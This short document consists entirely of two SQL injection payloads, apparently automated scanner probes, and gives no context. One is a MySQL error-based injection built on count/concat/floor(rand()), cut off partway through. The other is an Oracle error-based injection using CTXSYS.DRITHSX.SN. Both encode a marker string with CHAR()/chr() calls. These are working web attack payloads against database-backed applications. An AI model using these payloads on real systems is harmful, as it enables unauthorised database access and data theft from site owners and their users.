-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select..
(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))